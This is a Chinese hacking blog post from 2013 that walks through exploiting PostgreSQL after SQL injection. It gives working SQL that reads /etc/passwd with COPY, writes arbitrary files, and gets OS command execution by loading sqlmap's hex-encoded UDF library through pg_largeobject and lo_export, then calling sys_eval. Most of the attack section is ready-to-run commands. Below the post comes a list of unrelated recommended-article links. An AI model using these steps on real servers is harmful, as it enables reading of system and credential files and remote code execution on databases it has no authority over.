疯狗 · 2013/07/09 16:52

今天无意发现了个PostgreSQL环境,线上学习了下,一般的数据注射(读写数据库)差异不大,不做讨论,个人比较关心PostgreSQL的文件读取和命令执行方面。

0x00 文件读取/写入


PostgreSQL 8.1 以后提供了一组现成的文件操作函数

pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file()
复制代码

用这些就可以胡作非为了?你错了。。。

可以用这个函数直接读取/etc/passwd?实际情况下测试并未成功,因为pg_xxx这个adminpack将权限限制在了./postgresql/data下面。

a)比如列目录

b)读取权限允许的文件

还有个写文件函数测试并未成功,而且只能像data下写也是满足不了需求的。

c)比较可行的文件读取方案

drop table wooyun;
CREATE TABLE wooyun(t TEXT);
COPY wooyun FROM '/etc/passwd';
SELECT * FROM wooyun limit 1 offset 0;
复制代码

利用注射修改偏移值很快就可以遍历出来了,但是还是有点寒碜,直接读出全部数据

DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
COPY wooyun(t) FROM '/etc/passwd';
SELECT * FROM wooyun;
复制代码

d)写入文件

DROP TABLE wooyun;
CREATE TABLE wooyun (t TEXT);
INSERT INTO wooyun(t) VALUES ('hello wooyun');
COPY wooyun(t) TO '/tmp/wooyun';
复制代码

读一下看看是否存在

Bingo~

0x01 命令执行

enter code here
复制代码

这里大概有三种方式

a)利用 libc 中的 system() 函数

很多文件会让我们添加一个到libc库的自定义功能函数

CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
复制代码

但是返回错误

Error : ERROR:  incompatible library "/lib64/libc.so.6": missing magic block
HINT:  Extension libraries are required to use the PG\_MODULE\_MAGIC macro.
复制代码

这是因为当PostgreSQL加载外部动态库的时候,会检查MAGIC DATA,如果没有这个函数(Pg_magic_func),PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库。具体逻辑请看 src/backend/utils/fmgr/dfmgr.c 中定义的 internal_load_library 函数源代码。

这样一来就等同于建立了一个“白名单”,系统自带的库默认我不再允许动态加载,所以此路不通(也许低版本走的通,但我手里这个不行)。

给一个 Pg_magic_func 代码样例:

extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);
const Pg_magic_struct *
Pg_magic_func(void)
{static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;return &Pg_magic_data;
}
复制代码

b)利用Perl/Python脚本语言功能

在zone上看过一帖,http://zone.wooyun.org/content/1591,很纳闷为什么这样定义函数就可以执行系统命令,plperlu又是啥,经过资料的挖掘,发现是PostgreSQL自带的一种程序语言支持。

具体可见这里(www.postgresql.org/docs/8.3/st…)。

大概意思就是PostgreSQL允许用除了SQL和C的其他语言来编写函数,但这个很悲剧啊,我的环境没有安装PostgreSQL的Python和Perl支持,待我弄个环境在来实现下过程。

c)利用C语言自定义函数

Perl、Python都能在PostgreSQL自定义了更不用说C了。

这个在sqlmap的udf目录下有现成的,而且还是根据版本加了Pg_magic_func函数的,可以加载。。。牛鞭!

FengGou:8.4 $ pwd
/Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4
FengGou:8.4 $ ls
lib_postgresqludf_sys.so
复制代码

将sqlmap的so文件转为16进制的代码

7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...
复制代码

老他么长的一段,怎么还原成二进制的so库文件呢?

这里感谢 @瞌睡龙 提供的Tips,这里用到了PostgreSQL的pg_largeobject“大对象数据”,官方原文:

pg_largeobject 表保存那些标记着"大对象"的数据。
一个大对象是使用其创建时分配的 OID 标识的。
每个大对象都分解成足够小的小段或者"页面"以便以行的形式存储在 pg_largeobject 里。
每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 字节)。
复制代码

a)查看PostgreSQL目录

SELECT setting FROM pg_settings WHERE name='data_directory';
复制代码

b)查询id

select lo_creat(-1);
复制代码

oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容。

c)oid与上面保持一致

delete from pg_largeobject where loid=18412;
复制代码

等于变相清空"页面",不要干扰库的生成

d)把16进制的so文件塞进去

insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex'));
复制代码

e)利用PostgreSQL自带函数将大型对象导出到文件

SELECT lo_export(18412, 'cmd.so');
复制代码

f)建立UDF

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
复制代码

g)调用这个UDF

select sys_eval('id');
复制代码

也许服务器没装PostgreSQL的Perl、Python支持,但是C库是通用的。

参考:
1PostgreSQL SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
2OWASP Backend Security Project Testing PostgreSQL
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
3PostGreSQL注入学习(续篇)
http://www.hackol.com/news/201007270731289820885.shtml
4PostgreSQL Adminpack
http://www.postgresql.org/docs/8.4/static/adminpack.html
5PostgreSQL 外部动态连接库魔法块的使用
http://my.oschina.net/quanzl/blog/136907
6Chapter 37. Procedural Languages
http://www.postgresql.org/docs/8.3/static/xplang.html
7postgresql "初级"注入大法
http://zone.wooyun.org/content/1591
8pg_largeobject
http://www.php100.com/manual/PostgreSQL8/catalog-pg-largeobject.html

PostgreSQL的那点事儿相关推荐

  1. Hacking PostgreSQL

    Ricter · 2015/06/04 10:16 这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法. 0x01 SQL 注入 大体上和 MySQL 差不多,有 ...

  2. arcgis悬挂点修改_ArcGis拓扑的那些事儿(拓扑应用过程三)

    (,,・∀・)ノ゛hello,小编又来啦(一不小心又拖更这么长时间),感觉大家都是催更小能手,天天定时定点的发消息催更,(其实很感谢大家的关注与催更,说明我写的这些对大家都有很大的用处!让我感到挺高兴 ...

  3. Debian 11(bullseye) 安装Nextcloud,使用PostgreSQL

    Debian11 安装 NextCloud 使用 PostgreSQL 硬件 本次使用的是虚拟机,主要操作是一样的 CPU:双核 内存:1G 硬盘:20G,数据放在另外的硬盘中 IP:10.10.10 ...

  4. PostgreSQL安装遇到的坑:Problem running post-install step/password authentication failed for user postgres

    第一个问题: 安装过程中提示:Problem running post-install step. Installation may not complete correctly. The datab ...

  5. 业务系统兼容数据库Oracle/PostgreSQL(openGauss)/MySQL的琐事

    文章目录 (一)继续动数据库 (1.1)关于GoldenDB (1.2)关于openGauss兼容性 (二)数据库的差异 (2.1)Oracle/PostgreSQL/MySQL基本差异 (2.2)建 ...

  6. Postgresql 日志收集

    PG安装完成后默认不会记录日志,必须修改对应的(${PGDATA}/postgresql.conf)配置才可以,这里只介绍常用的日志配置. 1.logging_collector = on/off - ...

  7. webassembly类型_WebAssembly 那些事儿

    WebAssembly 那些事儿 什么是 WebAssembly? WebAssembly 是除 JavaScript 以外,另一种可以在网页中运行的编程语言,并且相比之下在某些功能和性能问题上更具优 ...

  8. pg数据库开启远程连接_如何运行远程客户端连接postgresql数据库

    如何运行远程客户端连接 postgresql 数据库 前提条件是 2 个: 1 , pg_hba.conf 里面配置了运行远程客户机连接 pg_hba.conf 配置后需要重新加载 reload 生效 ...

  9. 计算机网络技术社团纳新海报,精品社团纳新 | 加入计算机协会和我一起做些有意义的事儿吧~...

    原标题:精品社团纳新 | 加入计算机协会和我一起做些有意义的事儿吧~ 我们是谁? 计算机协会 社团 简介 社团名称:计算机协会 创办时间:2012年 组成部门:技术部,宣传部,秘书部,外联部,策划部. ...

最新文章

  1. Sqoop 工具速查表(中文版)--转
  2. 使用脚本编写 Vim 编辑器,第 2 部分: 用户定义函数
  3. 云栖专辑 | 阿里开发者们的第3个感悟:从身边开源开始学习,用过才能更好理解代码
  4. 左右布局图文排版设计灵感案例
  5. 为什么有的人开车舍不得开空调?车载空调耗油吗?
  6. 51Nod-1179 最大的最大公约数【暴力】
  7. tf.slim构建vgg16和resnet网络实现图像分类,亲测准确率99%
  8. java基本数据类型存放在哪?
  9. 游戏圈子--创业股份没拿到,你该怨谁?
  10. 【BZOJ1921】【CTSC2010】珠宝商(点分治,后缀自动机)
  11. keep sb updated_keep you update 和keep you updated哪个正确?
  12. 脑电波技术的前途光明吗?
  13. Java——博主的学习路线
  14. eclipse安装图形界面插件
  15. 数据湖08:Apache Iceberg原理和功能介绍
  16. VS2008 PRO 、WDK 和DDKWizard搭建Vista驱动开发环境
  17. 自考计算机数据库建立过程,上海自考 计算机 数据库 笔记.doc
  18. 关于RapidIO协议的对齐等问题
  19. 求圆周率π的近似值(精确到小数点第5位或第7位)
  20. 关于电商商品的SPU-SKU模型

热门文章

  1. AngularJS 学习笔记 - $http.post 跟后台交互
  2. 移植uboot第七步:支持DM9000
  3. 盛趣游戏 html5游戏,盛趣游戏谭雁峰:游戏破局的“精细”时代已来
  4. 【转载】HTML导入css的四种方式
  5. SpringBoot概述
  6. Asp.Net Core 轻松学-多线程之Task快速上手
  7. python 13 常用模块 一
  8. iBatis简单入门教程
  9. Excel文件读写操作(一)
  10. QQ牧场在高速模式下的一些小bug